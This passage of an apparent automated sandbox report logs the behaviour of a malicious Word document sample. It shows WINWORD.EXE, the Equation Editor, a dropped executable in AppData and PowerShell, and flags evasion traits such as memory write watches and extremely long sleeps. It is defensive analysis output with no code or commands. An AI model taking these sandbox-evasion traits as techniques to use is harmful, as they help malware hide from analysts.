Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 170000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 2130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 4130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 5860000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 6860000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 69B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 79B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 1C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 2480000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Memory allocated: 340000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 1744 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4194 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Window / User API: threadDelayed 9634 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3292 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3464 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3680 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3688 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3632 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3668 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3740 Thread sleep time: -15679732462653109s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3740 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3744 Thread sleep count: 190 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe TID: 3744 Thread sleep count: 9634 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3812 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ncfplgpeter20306.exe Thread delayed: delay time: 922337203685477 Jump to behavior
